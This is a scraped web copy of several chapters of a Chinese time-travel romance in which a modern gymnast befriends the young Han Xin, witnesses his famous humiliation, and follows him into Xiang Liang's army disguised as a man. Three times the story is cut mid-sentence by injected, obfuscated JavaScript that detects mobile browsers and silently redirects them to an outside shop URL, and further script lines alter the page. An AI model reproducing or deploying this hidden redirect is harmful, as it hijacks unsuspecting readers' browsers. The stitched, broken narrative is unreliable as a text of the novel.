一时间,我却是被他们夸得有些自豪。作为一名职业艺术体操运动员,自小就跟不同的器械打交道,精通掌握绳圈球棒带这五项性质不同的器械,是我们的必备技能。那些惊险的高难度及器械运用塑造了我们灵敏的身体及非常人所及的柔软性,而成套的多样性动作元素组成,练就了我几乎对动作过目不忘的能力。因此,剑于我而言就相当于一项器械,身体很快就适应了它的运动轨迹,而记动作,更是我的强项,至于真正的掌握它,不过是再需要些时日磨合和专研罢了。即便如此,这一切依旧令人兴奋。怎么说这可都是我第一次学剑呢!“韩信,你是我人生中第一个教我剑术的人!谢谢你,我很喜欢。” 他似是微愣,眼眸中带有笑意,“那作为报答,阿言可愿陪我去淮阴城中走走。” 我即刻兴奋的跳起来,“自是一万个愿意。我来这儿这么久,还从未出去玩过呢。” “小玖也去!”玖朝亦是在一边上蹿下跳,只是快乐不长,他很快便被姚母拎走了。独留我和韩信面面相觑。 战乱中的淮阴,再无昔日的繁华街巷,唯有来往奔走的兵卒与神色匆匆的布衣百姓。每个人脸上都蒙着一层灰尘,神情里透着焦灼与不安。即便想闲步城中,也总被疾驰而过的马匹与兵士惊扰得仓惶避让,仿佛这一切都在提醒着众人——此刻,是个生死不由己的年代。 不过,除此之外,淮阴城街市上仍有大大小小的摊位,卖蔬果飞禽、布匹首饰、铁器农具,甚至还有些孩童玩意。每走过一个摊点,便能听到摊主的吆喝声,倒也热闹几分。 一路上我兴奋异常,毕竟这是两千多年前的街市啊。哪怕只是寻常的蔬果摊,在我眼中,也仿佛是一副古老文物般的画卷。那些破旧屋舍、尘烟滚滚的街道、往来的布衣百姓与高声叫卖的摊贩,每一个画面都令人惊叹。 我看得入了神,耳畔却忽然响起一道清冷的声音:“我们的世界与你的,可有许多不同?” 我一怔,对上他如墨般深沉的眼眸。没想到他会问这样的问题,却也正是这问题,让我在他面前更加自在,无需设防。 “当然大不相同。”我轻声笑道,“你们的世界,在我眼中,就像文物一样——非常珍贵。” “那阿言的世界,又是什么模样?”他含笑问我。 “我的世界呀,早已是高楼林立,许多楼房高得快与山齐平了。”我兴致勃勃地说,“还有很多人,很多车——可不是马车哦!那可是比马车快得多的交通工具。我们那里,有天上飞的、地上跑的、水上游的,样样齐全。” “那,还有战争吗?”他若有所思地问。 “早就没有了。”我有些骄傲地回答。 他低垂着眼眸,轻声道:“真好……我也想去阿言生活的世界看看。” “改日说不定真能带你过去呢。”我玩笑似地说。 他忽而停下脚步,街市熙攘,他却只注视着我,眉眼深邃,语气低沉:“那阿言可要说到做到。” 他望得我后背发凉,我只得打着哈哈岔开话题:“韩信,你还没说呢,今天怎么忽然想让我陪你来城里?” 他的神色终于缓和了些,嘴角勾起一抹不经意的笑,转身走到一家打铁铺前:“想送你个礼物。” 那铁铺在街市一角的拐口,看起来不过是一间破旧脏乱的小屋。站在门前不远,便可见火星自屋内飞溅而出,热浪扑面,我脚步不由一顿:“究竟是什么东西,非得选这么个地方?” 他驻足片刻,低声说道:“世道艰难,你若能有件兵器傍身,再习得一技自保之术,日后我离去之时,也能安心些。” “你要走了吗?”我不解。 “是的,恐怕不久之后。”他眼底依旧淡然,波澜不兴。我不意外——他是韩信,命定驰骋疆场,唯有离开淮阴,他才能成为真正的韩信。 “可这里会不会很贵?我们又没钱……”我有些担忧。 “放心,不用钱。”他说得云淡风轻,便径直走了进去。 “不用钱?”我低声重复着,糊里糊涂地跟了上去。 打铁铺内,大火炉正炽烈燃烧,火焰如血般翻涌直冲烟囱。四周的土墙上挂满了各式农具与兵刃。热浪袭人,鼻尖尽是炭火的味道。烟雾中,一名壮硕的赤膊男子正挥锤锻打,锤声如鼓,震耳欲聋,火光映得他肌肤通红,汗水沿着颈脖滚落。 “阿成!”韩信忽然唤道。 那男子闻声停下铁锤,从烟雾中探出头来,黑黝皮肤,身形健硕,神情正气凛然。 “阿信!”他朗声一笑,举着铁锤快步迎上来,重重一掌拍在韩信肩上,“咱们也有两三年没见了吧?前阵子我还去你原先住处找你,才知你搬走了,也每个信儿。咦?这姑娘是?”他看向我,目光上下打量,眼中浮现几分说不清道不明的羡慕,蹙眉道:“你小子不会背着我讨了个姑娘吧?太不够义气了!” 韩信似有些无奈,轻叹道:“一言难尽。三年前,遇大旱,家中揭不开锅,我无奈离家,四处讨生活。几番辗转命悬一线,幸得这位姑娘相救,方才脱困。” “哟,自古英雄救美,今日却见美人救英雄,倒也稀奇。”男子大笑,“你这是打算以身相许了?” “阿成,别胡说。”韩信有些局促,正色道:“我今日来,是想取回三年前在你这里打的那把剑。” “你不是已有宝剑随身,为何还要这一把?再说,那剑咱说好留在铺里供人观赏,这些年,好些人出高价买,我可一个都没卖。”阿成显得有些不舍。 “日后得空,我再给你打一把。今天,这剑我必须带走。”韩信语气淡然,却不容置疑。 阿成瞥了我一眼,了然地笑了,“行,我这就给你取来。但有一条件——日后你得将你那佩剑借我把玩一阵,还要再打个一模一样的给我。” “我答应你。”韩信爽快地应下。 阿成满意地笑了,带我们走入铺后。那里有一架木梯通往二层阁楼,阁楼里挂满各式兵刃。其中一面墙上,一把黑青色的长剑格外醒目,它通体轻薄,透出一抹幽暗寒光,像是一枚黑羽,诡谲神秘。 我惊叹道:“这把剑倒和你那佩剑有几分相似呢。” 韩信朝我所指方向看去,语气平静:“确实与我那把相似,只不过它不是青铜,而是隐铁所制,剑身轻巧锋利,不反光,是用于暗中无声弑杀的利器。” “正是。”阿成将剑取下,递给韩信,略显不舍,“我爹在世时,最盼我能像你一样用心。那时我总觉得他更喜欢你多过我这亲儿子,心里难免疙瘩。他越想我学打铁,我越不愿学。却不想最终是你继承了他的一身本事。可惜你志不在此,不然定是一名出色的铸剑师。” 韩信轻抚剑身,黑色剑光映入他幽深的墨瞳:“阿成,改日我定去林叔坟前祭拜。我父战死后,唯有林叔顾念旧情,愿将技艺倾囊相授……可惜,我终究辜负了他的期望。” 阿成重重拍了拍他肩膀,压下某种情绪,道:“别这么说。我爹不过是个痴人,喜欢铸剑,便盼所有人都如他那般。我知你自幼研究兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“韩大将军呀!你不是要投军了吗?提前叫着也没错。” 他有些不好意思地低下头:“阿言,别闹。” 说着,将那把隐铁剑递给我,眉眼温柔:“从今往后,它就是你的了。” 我小心接过,黑色剑身在光下泛着神秘幽光,我惊叹道:“真好看。有了它,我定会勤练,不让你失望。” 他凝视我,眸中尽是温柔的笑意。 突然,我的身子被猛然一撞,力道极大,整个人一头栽进韩信的怀里,脑袋直直撞上他的胸膛。他连忙伸手扶我,语气关切:“你没事吧?” 我一边揉着被撞得发晕的额头,一边气鼓鼓地四下张望,很快锁定了罪魁祸首——三个身形魁梧、肥头大耳的壮汉方才从我身侧经过。我随即大声嚷道:“喂,你们撞到人了!” 三人闻声齐齐停下,转身望来。人们常说相由心生,这三人面貌粗野,一眼便透着不善。他们恶狠狠盯着我,显然没什么耐性。而韩信不知何时已挡在我身前。 忽地,其中一个满脸黑胡须、唇厚如两块肥肉的男子惊叫一声:“哟!这不是韩信吗?” 他随即大力拍掌,引来众人围观,又提高声调道:“快来看啊,这就是前阵子死赖在我家——不,应是南昌亭长府不走,最后被我娘赶出来的韩信!” 他漫不经心地走近韩信,戏谑地指着他腰间佩剑道:“整日配把破剑,自以为是条好汉。其实呢?不过是个混不上一口饭吃的废物,还活在梦里不肯醒。” 围观者低声议论起来,我在韩信身后怒喝一声:“你胡说什么!”几欲拔剑。 “阿言!”韩信立即阻止我。我却清楚看见他紧握的双拳,指节泛白,掌心渗出血痕。只是那双墨色的眼睛,依旧没有一丝波澜。 黑胡男子见状,更加得意,大步逼近,与韩信几乎鼻尖相对。他猛地拔出韩信佩剑,讥讽道:“你不是喜欢戴着这把剑,做英雄梦吗?在我眼里,你不过是癔症缠身的笑话罢了。”说罢,他竟将剑尖直指韩信面门。 我猛地伸手拨开剑锋,“你休要放肆!” 韩信立刻握住我的手,语气冷肃,“阿言,退后。” 那男子却发出一阵狞笑,突然伸手将我扯出,粗壮手臂死死锁住我的脖颈,另一手持剑,剑锋轻抵我脸颊,凶相毕露:“长得倒挺水灵的,就是太凶。没想到你这种人也有人愿意护着。要不这样,你若肯将她借我玩几日,今日我便饶你一命,如何?” “放开她!”韩信一声厉喝,声线里第一次透出凛然之气。 那人笑得更放肆了,“怎么?动怒了?想杀我?那就来啊!不然,就从我胯/下爬过去,否则,今日你们一个也别想离开,尤其是她。” 我骤然惊醒——这不就是史书所载的“胯/下之辱”? 原来无论我在不在场,他都注定要承受这一劫。命运如此精密,如此冷酷。我看向韩信,摇头示意他别屈辱自己。 可他却仿若未见,缓缓开口:“我若照你说的做,你便肯放她走?” “自然。” 我心口剧痛,一阵阵熟悉的窒息袭来。眼眶湿润。原来命运早已悄然设局,而我,第一次如此深切地感受到自己的无力。 无法阻止他被命运践踏,也无法将他从命定中拉走。 韩信缓缓弯下腰,匍匐于地,低至尘埃。他一寸一寸地朝那人爬去。众人窃笑,他却目光坚定,神色沉静,仿佛每一步都故意放慢,只为将耻辱深深刻入骨血之中。 终于,他起身,在众人讥讽里站直了身。 那男子已顾不上我,将我一把推开,自己笑得前仰后合,几欲岔气。 韩信快步走来,扶起我,拾起佩剑,语气仍温和如初:“他弄疼你了吗?” 我摇摇头。 “那我们回家。” “就这么算了吗?”我揪住他衣袖,低声问。 他回握我的手,“阿言,没有必要。” 说罢,他牵着我,在众目睽睽下,安静离开。 我却仍回头望着那片喧哗人群。人性最丑陋的一面,肆意翻滚在他们的嘴角与笑声中。他们笑韩信,也笑我,甚至笑不清自己。他们不过是笑着活着的可怜虫。 7. 赠铃 是夜,无眠。 我悄然起身决定带上隐铁剑去留音谷,将韩信教我的剑法再练上几遍。毕竟白天的事犹如一根树苗养在心上,只要血液循环流淌,它都会暗自滋长。然而多想无用,不如用剑斩断杂念来得干脆。 被月色笼罩的枫树透着神圣静谧之意,只要站在那儿,仿佛世间纷扰都能被其屏蔽在外,让光阴静止。我踏着星月而来,一路上未见除我之外的他人,却不想一个熟悉的声音从枫树背后传来,“睡不着吗?”是韩信。他正双臂盘绕的倚靠在树下,慵懒的探出头来。 我的脚步有些迟疑,本是一人独享的清欢,却被他人捷足先登,多少有些不是滋味。但一想到他今日所经受的那份羞辱,便又心生怜悯与不忍。 男子背倚古树,在洒落的月光下透着一丝慵懒清逸,连那本就分明的五官,也仿佛被这柔光轻拢,添了几分温和与疏懒。我缓步行至他身侧坐下,环抱双膝,淡回:“嗯,脑子不知怎的乱得很,就想着出来温习你今日教我的剑法,打发时间,没准还能寻得些许困意。” 韩信望着我,眸子与月夜融合,似有流光荡漾,明亮而温柔,“阿言,今日之事让你受惊了吧。你不用放在心上,毕竟他们都是些无足轻重之人,不足为惧。”他说的坦然又轻松,好似真的不甚在意。 我不由凑近他一些,盯着他双眼端详许久,忍不住道:“韩信,你就真的不恨那些随意欺辱你的人吗?他们究竟跟你有多大的仇怨,为何要那般对你,而你竟是都能忍得下来?说实在的,若非你今日制止我,我真想拔剑替你教训他。我才不管后人如何评议,反正我就是不能眼睁睁看着他人那样欺辱你。” “阿言,一时隐忍并非因我懦弱,亦或屈服他人。只是此等莽夫,又何足费力与之较真?我心中自有图谋,因此才不肯为一匹夫之辱而动刃伤身,坏了将来成事的局数。而你,我更不会容许你为我的任何事涉险,而平白招来他人嫉恨。”他盯着我,眼眸更深邃,“阿言,其实这一次,能有你陪在我身边经历这一切,已是命运的恩赐。你不知,我的心有多欢喜。” 他眼波流转,是我从未读到过的柔情,但只是片刻,又被清冷的月光覆去。 我有些茫然,心中疑虑更深,因为没有答案。这一切都在已知与未知间辗转,我自诩了解他的故事,却在真正的他面前,陷入了迷障。他究竟怀有怎样的心事,为何会有如此复杂的情愫藏在那双清冷的墨瞳中…… “韩信,你可以和我说说你小时候的故事吗?”我缓缓开口问。 月夜沉寂,几颗萤火不知从何处飞来,环绕在我们身周。他身子慵懒的靠回树上,双臂枕头,眼眸里有星辰倒映,“我生于淮阴城南,一间残破不堪的小院中。父亲曾是楚军中一名末位校尉,屡立微功,却始终未得重用,直至我十二岁那年,于一场突袭战乱中身亡,没能留下一句遗言。军中只送回一把青铜佩剑,和几卷被血水浸染的书简。母亲说,韩氏本出自楚地旧族,祖上也曾显赫一时,只因战火连绵、国破家亡、世代流徙,至我父辈,已沦为寒门小户,贫苦难支。家中所存,只余这把祖传之剑,那剑后来也传给了我。” “家中贫困潦倒,父亲又常年戍边,母亲只能白日替人缝洗补衣,夜里再挑灯为我缝补破旧衣衫,支撑家中。隔壁林家曾是父亲军中旧识,其子阿成与我年岁相仿,自小算是我为数不多的朋友。林母偶尔接济我们些米粮柴火,那是我记忆里为数不多的温暖,只可惜林家不久后就搬走了。” “父亲死后,母亲的病一日重过一日。她是个不怎么说话的人,喜欢在夜里对着那柄宝剑发呆。再后来,她也走了,没能撑过那个冬天。邻家避讳死丧,无人肯来相帮,我便抱着她的尸身哭了一夜,次日在城南那棵老槐树下亲手掘土,将她下葬。” “之后我就一个人了。无亲无故、孑然一身,立誓有朝一日必继父志,执戈上阵,为父母雪耻,也为自己求一个名姓青史。” 说到此时,他忽而冷笑,那笑意中还带着几分讽刺,“但誓言不能果腹,现实却步步压人。邻里看我孤苦,不时施舍一饭半粥,我便白日为他们劈柴挑水、扫院浇田,夜里躲进破庙残屋,借微光抄写兵书,或拔剑练式,一日不敢懈怠。人言我痴,笑我狂,我从未辩一句。因为我知道,若心中连一星火都不剩,这世间便再无可去之地。” “一年前,天下动荡,各地旧部纷起,我以为机会将至,便孤身出走,欲投军谋生,奈何举目无亲、两手空空。城门外数次碰壁,既无门路也无引荐之人,便又靠四处乞食维生。只是在这世道,孤身乞食的少年不过是世人眼中的秽物。冷眼白语、怒喝驱赶,我早习惯,只是最难熬的,是那些挨饿的日子。三日无米,五日无水,连一口残羹冷饭都无处可求。最后一次,是在南昌亭长府中,原本许我做些粗活换一顿饱饭,谁知他儿子厌我穷寒,他夫人更嫌我晦气,半夜便将我赶出屋外。那几日我滴水未进,终在河边昏倒,醒来时,才知是你救了我。” 他讲述这段过往时,语调平淡得仿佛在说旁人的故事,无悲无喜,只有清浅回响。而我,却在他字字落地的陈述中,早已红了眼眶。果真是应了孟子那句‘故天将降大任于是人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为,所以动心忍性,曾益其所不能。’因此,他才能在那样的羞辱中,不动声色的全身而退。 我看着他有些出神,却觉眼角有冰凉的触碰,才发现是他正用指尖替我抹去未干的泪水。 “抱歉,让你流泪了。”他有些内疚道。 我不禁握住他的手,坚定道:“韩信,一切都会好起来的,相信我。” 他淡淡一笑,似月色柔和,“我相信你,阿言。” 我这才放心的松开手,继续问,“我看你和阿成关系不错,为何你从没想过去求助于他?” 他叹了口气,道:“林家已经帮过我很多了,实不该再叨扰。况且我心中却怀愧意。林叔生前酷爱打铁铸器,我自幼时常往他家跑,围着他转。他待我极好,知我对兵器铸造颇有兴趣,反倒胜于他自己的儿子,便索性倾尽所学,毫无保留地教我。他们搬去城里的那年,林叔还曾几次央我娘,让我随他一同去铺里帮工,是我谢绝了。一来不忍留母亲独自一人,二来……志不在此。只是这份心意,我始终记在心里。三年前,听闻林叔去世,我才去了他留下的那间打铁铺,看望阿成。 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他慌乱的闪躲过我的目光,“不。只是行军路途遥远,危机四伏,我不想让你涉险。” “你放心,我想办法不拖你后腿就是了。” “阿言,”他突然声色严厉,凉眸紧紧盯着我,“答应我,留在这里哪里都不要去。我定会再回来寻你的。” 他的神情带有不容抗拒的压迫感,令我不禁后背发颤,我小声嘟囔,“不去就不去,搞得这么严肃干什么。”反正你走了,我就自己去寻回去之法,才不会等你呢。我心下想。 他愣住,即刻低下头,“抱歉,我只是担心你而已。” 我没有再说话,只是环抱双膝,陷入沉思。 突然,耳边再次响起一阵清脆的铜铃声,像一曲远古的回音,打破月夜下的寂静。韩信趁我分神之际,已将那对铜铃,悄然系于我颈间。 “你!”我有些恼怒,欲将铜铃取下,他却即刻握住我的手,那双深邃的墨瞳,令我想起了那夜梦里的少年,眼中有道不尽的情意,他近乎祈求道:“别取下,就当是一个离别信物,让我能够安心离开。阿言,你别小瞧这对铜铃,它是真的能保你平安。此一别,你我不知何时再能相见,而我只愿你能平安顺遂的于这场乱世中活下去。等到一切都结束了,我……”他突然停住不说了。 “等一切结束后又怎样?”我捂住胸口极力压制住那莫名出现的隐痛,内心满是恐惧与不安。 他并未看我,而是望向遥远的星辰,声音飘渺,“若一切真的能顺利结束,我亦无憾了……” 那一刻,我亦觉得他身上透出几分遥不可及的冷寂,叫人难以捉摸。我轻叹一声,道:“既然这铜铃能保平安,你就更应该戴在身边才是。为何偏要留于我?” 他垂眸,眸中似掠过一抹无奈与苍凉,唇角勾起淡淡冷笑。良久,他才低声道:“若有一日我还活着,你再还我也未迟。” 话落,他神色微敛,未再多言,转身便去。 夜色中,他的背影逐渐淹没于晚风中,竟有种说不尽的寂寥与落寞…… 9. 那一世 韩信走后,心口莫名一空,仿佛整座天地也随之寂静下来,只余风声中清脆的铜铃,悠远而绵长,敲打着胸膛,让人几乎喘不过气。 死一般的沉默里,姚母的声音忽然响起,带着几分担忧,打破了空气中的宁静:“言言,你还好吗?怎的脸色这般难看?是不是哪儿不舒服?” 我怔怔地摸了摸自己的脸,湿漉漉的,冰凉一片。震惊之下,低声问道:“姚母……我,是在哭吗?” 姚母微微一愣,旋即柔声道:“自韩信走时,你便一直在流泪。我见你泪如雨下,怕惊扰了你,只是远远看着。直到方才,见你面色煞白,才担心你伤了身子。” 我哭了,却浑然不觉。 我又匆匆拭去脸颊,掌心仍是湿的,只觉这一切陌生而奇异,心头不由一紧。 姚母叹了口气,道:“韩信怕是走远了,咱们回去吧。我给你们煮碗糖水。” 我犹豫了,脑海中有个声音在回响:文言,这里不是你该停留的地方。你不能再原地等待了! 我握住姚母的手,轻声道:“姚母,我想去留音谷看看。” 姚母惊讶地看了我一眼,“现在?可你身子……” 我抬眸,露出一个轻浅的笑:“我很好,真的没事。只是想去看看,很快就回来。” 姚母沉默片刻,终是叹息着应下:“那去吧。小心些。” 我应了一声,转身朝着留音谷的方向走去。晨风渐起,铜铃声在耳畔愈响愈烈,像是未知的召唤。 百年枫树静立眼前,枝叶在晨风中轻轻摇曳。我怔怔望着它,脑海忽然闪回那日穿越前的一切:一场梦后,铜铃遗失,贝贝突现,它叼着铜铃,扔进了泉水里——泉水之下,是一个蓝色洞眼。 蓝色的…… 我倏然清醒,转身奔向留音谷的小河边。那是离枫树最近的一条河流,姚母常在此洗衣,我也正是在这岸边苏醒的。 竟然此前从未留意这些细节…… 河水清澈蜿蜒,静静流经村落。我站在河岸边,铃舌躁动,声声作响。我抬脚入水,任清凉裹挟双踝,朝河中央一步步靠近。 脚下一空,整个人陡然坠入水中。 河底漆黑,铜铃声却在耳边回响不止。我拼命睁眼,试图在幽暗中搜寻那抹蓝光,却只见阴冷的水草疯长纠缠,遮蔽了所有方向。 寒意刺骨,我开始上浮。 却在一瞬,左脚被猛地缠住,任我怎么挣扎也脱不得。久潜缺氧,意识渐渐模糊,四肢冰冷僵硬,连挣动的力气也快没了。 我张口呼吸,冰凉的水灌入口鼻。身体缓缓下坠,手臂朝上,徒劳地挥动,仿佛还能抓住什么。 却在沉默的瞬间,我忽然想:我是不是——真的要死在这里了? 于是闭上了眼,只剩刺耳的铜铃声,于黑暗的水中,回荡不休…… 睁开眼,我发现自己仰躺在一座石碑前。石碑斑驳,却未刻一字。四周雾气弥漫,寂静无声,空无一人。我心头一紧,隐隐有些害怕。 忽然,一双布满皱褶的脚出现在眼前。我抬眼望去,只见一人手持青灯,身着黑色长衣,头戴斗笠,立在雾中。斗笠将他的面孔遮得模糊不清,我 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滚滚尘烟扑面,马蹄飞驰而过。街上行人熙攘,夕阳将天色染得通红。街角几处叫卖声远远传来,夹杂着饭香,穿街过巷。人们脚步匆匆,门窗紧闭,仿佛风雨欲来。 我缓缓坐起,摸了摸肚子,它“咕噜噜”地响着。脑海中仍回荡着那人低沉的话语:若想破梦,解铃还须系铃人。 也许,唯有他,才能帮我回到原来的世界。 可我抬眼望向这条昏暗的街道,却不知他身在何方,亦不知——何处是归途。 10. 投军 我沿着这条街道,漫无目的地走着。马蹄卷起的尘土时而随风扑来,呛得我连连咳嗽。途经几家茶楼酒馆,皆是兵士歇脚或官人饮宴之处。我思忖着,现下若想找到他,唯有乔装从戎一途。姚母那边,只能另择良机,托人送一封书信,再做说明了。 正欲迈进一家名为“小风酒馆”的楼子探听消息,忽听身后传来一阵浩荡马蹄声。我心中一紧,随即抬头望去,只见长街尽头,一支浩浩荡荡的骑军正御风而来,个个头绑青巾,气势凌厉,唯有为首男子较年长些,神情沉稳。他高举一面大红旌旗,旗上以墨笔书写“苍头军”三字,于疾驰中猎猎翻飞,迎风而展。 马队在酒馆前骤然停下,少年们翻身下马,陆续走入馆中。我迅速跑到街角贩衣摊,换了一身男子布衣,又将发上的木簪取下,束成男儿发髻,再于杂货摊上弄来小胡子黏上。随手拾起地上几把尘土,抹于面颊,只觉灰头土脸,才敢步入酒馆。装作寻常客人落座于角落一张小桌,点了一壶桂花酒,静待时机。 约莫半刻钟后,酒馆中那位年长男子举杯而立。只见他剑眉如画,神情宽厚而不失威势。众人顷刻停杯止语,肃然望向他。他沉声说道: “弟兄们,我陈婴,蒙诸位推举,自东阳率军入淮,不为名利,只为天下一日太平。今闻项梁将军亦入淮中,项氏乃楚之名门,将门之后,今若举大事,非其人不可。我欲率军投之,诸位可愿随我?” 语毕,苍头军众将齐声高呼:“誓死追随!”杯酒一饮而尽,声势震堂。 冷月高悬,夜风清冽。杯中桂酒芳香氤氲,酒液如流墨,载不动这世道沉重。 我心中思忖,陈婴乃昔日东阳令史,众人推为领袖,组建苍头军。后又推他为王,终被其母一言劝止。我想,他未必真听母命,更是早已看透天下局势,故不居高位,择明主以事。 我一饮尽杯中余酒,酒意上涌,正好借此壮胆。见苍头军将离,我快步上前,冲至陈婴跟前,跪倒在地,低头不敢直视,双手抱拳,诚恳说道:“将军,请带我一同前往!我乃淮阴人,父母皆亡于战乱,孤身漂泊至今。闻将军欲投项氏,心有感怀!我生于乱世,不敢苟活,愿以残命报将军一念!” 语毕,重重磕首三下,额间渗出冷汗,顺着脊背缓缓滑落。 片刻后,陈婴朗声一笑,将我扶起,语气温和:“你叫什么名字?” “文言”二字脱口又止,忽见酒馆中悬挂一幅字画,上题“余韵遗风”,遂灵机一动,道:“仪风。容仪的仪,风雅的风。” “仪风……”陈婴轻声咀嚼,随即高声道:“好!苍头军又添一员猛将!” 他唤来一名皮肤黝黑、五官深邃的异族少年:“古阆,此人与你同骑,待至楚营,我再作安排。” 我激动得热泪盈眶,郑重抱拳:“多谢将军!” 马蹄如风,疾驰穿街,夜色渐沉。古阆坐于我后,双臂护住我稳住坐姿。我紧张僵直,马速稍缓后,他问我: “你会骑马?” 我摇头。 “不会还敢参军?打仗可不是闹着玩的。”他语中略带不屑。 “可以学!”我坚决回答。 古阆当即将缰绳塞进我手里:“那现在开始吧。后半程交给你了。” 我惊呼未出,只得战战兢兢控缰而行,身旁群马早已奔过,我却越骑越慢,努力听着古阆在耳后指点。行出山谷,至旷野之时,他忽而握住我手,一齐驰骋,直至拂晓抵达楚营。 平原广阔,数十白帐如林。营外守军严密,巡逻不止。我们才至边界,便被草堆中伏兵拦下,后经搜查,缴械,方得入营。 营内人马往来如潮,尘土飞扬。兵器碰撞,操练呐喊不绝于耳。我握紧铜铃,在心中反复默念“韩信”的名字,真希望他立即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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篝火零落,如一座座新土未干的坟,静默地燃在旷野之中,将整座营地映得如昼。将士整装聚于练兵场,以天为盖,以地为席,萤火流光,全羊为宴。高台之上,项梁挺立其间,神色沉肃;台下,陈婴等数位将领分列左右,正襟危坐。 夜风恣意奔走,掀得火堆星点飞扬,仿若碎金四溅。我寻了个偏僻角落坐下,身形娇小,正巧被篝火遮掩。项梁此刻正对全军讲话,自吴中起义一路讲到今日,不仅致谢了乱世中助他一臂之力的英杰们,更言及与他同生共死的故国将士与旧日盟友。最终,他提及了那场刻骨铭心的灭楚之战——公元前226年至223年间,语气中有难掩的恨意与不甘。 “楚虽三户,亡秦必楚!”他沉声道,声如金石。 只听众将如擂鼓齐鸣,声震旷野,齐喊:“亡秦必楚!亡秦必楚!” 我静静望着这一切,神情淡然。天下之事,不过乱世争雄罢了,谁是贼,谁是王,又怎分得清?贼喊捉贼,也不过是另一种胜者书写的正义。我一向只将天下事当花事来看——花开花落,自赏自怜便可。这里从不讲对错,只有成败。而我,恰恰立于成败之间,观望众生。 项梁话音落定,众人便可散席。各处篝火渐聚人影,酒肉穿肠,歌声四起。 我正要悄然离去,却见十余名兵士笑语着朝我这边行来。心下一慌,刚要起身,熟悉的一嗓子从几米开外传来,“仪风小兄弟,原来你躲在这儿啊!” 步子僵住,我只得生硬地挤出一个笑脸。果然,那十几人之中,赫然有古阆一人。他大咧咧地走来,径直在我身侧坐下,一手搂上我肩,“各位,这就是我说的仪风小兄弟。以后我们就是一伙的了,大家多照应啊。” 众人交换眼色,又将目光落在我身上。那眼神,不带恶意,却也透着一股打量与会意的意味。凭借女人天性敏锐的直觉,定不是什么好话在其中。 我狐疑地瞪他,小声咬牙:“你都跟他们说了什么?” 他倒是乐呵得很:“没说啥啊。就夸你是我见过最勇敢、最特别的小兄弟。” “真的就这些?”我不信地瞥他一眼。 “嗯……可能也就再细一点点?”他咧嘴比了比。 我一把揪住他的大腿肉,低声恼怒:“你这张破嘴。” 他痛得龇牙咧嘴,又强撑笑道:“哎呀,疼疼疼,我这不是替你拉拢人心嘛……” 我赶紧拱手告辞:“哥哥们慢吃,仪风身感不适,先行告退。” 背后是他们略含玩笑的议论声和古阆的招呼声。我疾步而行,虽不讨厌古阆,但实在不敢长久与这种口无遮拦的人为伴,太难乔装。 循着夏夜野花的香气,我走到营地边的小溪旁,就着石块坐下。月色如洗,映入水中,化作碎碎流光。倒真有些想喝酒了。若能醉在这旷野、凉风与野草香中,枕着月色沉眠,也算今夜得了片刻安宁。 溪流如弦,低吟浅唱。胸前铜铃被夜风拂动,声响恍若故地留音。 忽有一缕酒香随风而来。我循香前行,走至一株怒放的凤凰树下。烈焰般的花瓣在夜中似血雨飘零,树下几坛倒地的酒坛横七竖八,一个身着兵服的熟悉身影正仰头对月。月光下,他五官冷峻,却透出几分柔和,目光深沉如夜,水月倒映其间。 铜铃随我脚步微响,如记忆的回声。正要靠近,却听那人开口,语气夹着醉意:“来者何人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512533|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 我一怔,立即止步:“只是路过,无意打扰。我这便离去。” “阿言?” 他陡然起身,几步走来。我抬眼望去,不敢置信地眨了眨眼:“韩信?”竟是这般轻易便寻到了? 心中正暗自窃喜,却听他骤然厉声:“你来这儿做什么?不知道外头多危险吗?快回去!” 我怔住,冷月映得他的轮廓分明如刀锋。他的怒意我从未见过,仿佛与记忆中的那个他判若两人。 “韩信,是我呀。文言。”我低声,“我特意来找你。你……不高兴吗?” 他眉间微动,语气却仍冷,“快回去,这不是你该来的地方。” “我倒是想回去。”我咬牙道,伸手抚着脖间铜铃,“那你得先帮我把这玩意儿解了。” 他垂眸,语气更冷:“我解不了。” “为什么?”我有些恼怒,“你又不是不知道我不属于这个世界。跟你坦白了吧,得一位高人指点,只有你才能送我回原来的世界。” 他看着我,眼中情绪深不可测。良久,他低声问:“你就这么想回去?一点都没想过……留下?” 我怔住,不明白他为何忽然问起这个。他声音一沉,像压抑着什么难言之情:“你就未曾有过一瞬间想起来吗?” “你真是好奇怪,”我嗔怒道,“不过才一段时日不见,就像换了一个人。” 他目光闪烁,一只手缓缓抚上我鬓角,轻柔又克制,“待一切结束后,我自会将前尘旧事,一一说与你听。对不住了,阿言。” 话音落下,他指间猛然一紧,铜铃应声一震,脖颈间一阵剧痛袭来。我瞳孔骤缩,意识被黑暗吞没,如夜幕沉沉垂落。 12. 初登战场 “仪风……醒醒!仪风……” 隐约间,一个声音在我耳边反复响起。我睁开眼,只觉后颈一阵刺痛。脑中还停留在昨夜与韩信那场毫无结果的争执上,心口堵着一股气。正当此时,映入眼帘的是古阆那双离我极近的大眼睛——吓得我下意识一把将他推开。他“哎哟”一声坐在地上,捂着腰埋怨道:“我昨夜好心救了你,你就这么谢我?” “你救了我?”我撑起身,不敢置信地望着他,同时警觉地扫视四周,发现自己身处一顶白色大帐中。 古阆拍了拍身上的尘土,继续嘟囔:“你昨夜独自离开后,我觉得不放心,便去找你。结果亲眼看到你被一名士兵打晕,他还想把你带走。幸好我机灵,从后头把他打晕了,才把你救回来。” “什么?”我惊呼,“你怎么打晕他的?” 